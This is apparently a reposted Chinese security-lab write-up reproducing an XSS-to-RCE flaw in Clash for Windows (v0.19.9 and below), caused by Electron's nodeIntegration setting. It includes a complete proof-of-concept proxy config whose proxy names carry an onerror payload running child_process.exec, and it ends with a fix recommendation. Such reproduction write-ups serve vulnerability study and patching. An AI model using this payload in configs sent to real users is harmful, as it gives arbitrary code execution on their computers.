漏洞描述:
clash_for_windows_pkg由Electron提供动力。如果XSS有效负载以代理的名义,我们可以在受害者的计算机上远程执行任何JavaScript代码。
漏洞原理:
clash使用了Electron框架,且nodeIntegration值为True,说明开启了Node.js扩展,于是我们可以调用node.js模块从XSS到RCE,只要不进行严格的过滤,就会造成rce。
影响版本:
Windows v0.19.9版本及以下
MAC OS版本未知
漏洞复现:
下载受影响的windows版本
https://github.com/Fndroid/clash_for_windows_pkg/releases
在win7虚拟机中打开
POC如下
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
导入POC
在当前界面点击Proxies
此时弹出计算器,漏洞利用成功。
修复建议:
谨慎开启nodeIntegration参数,如果开启一定要对用户可控输入点做好充分的过滤。
原文始发于微信公众号(赛瑞攻防实验室):Clash for Windows远程代码执行漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论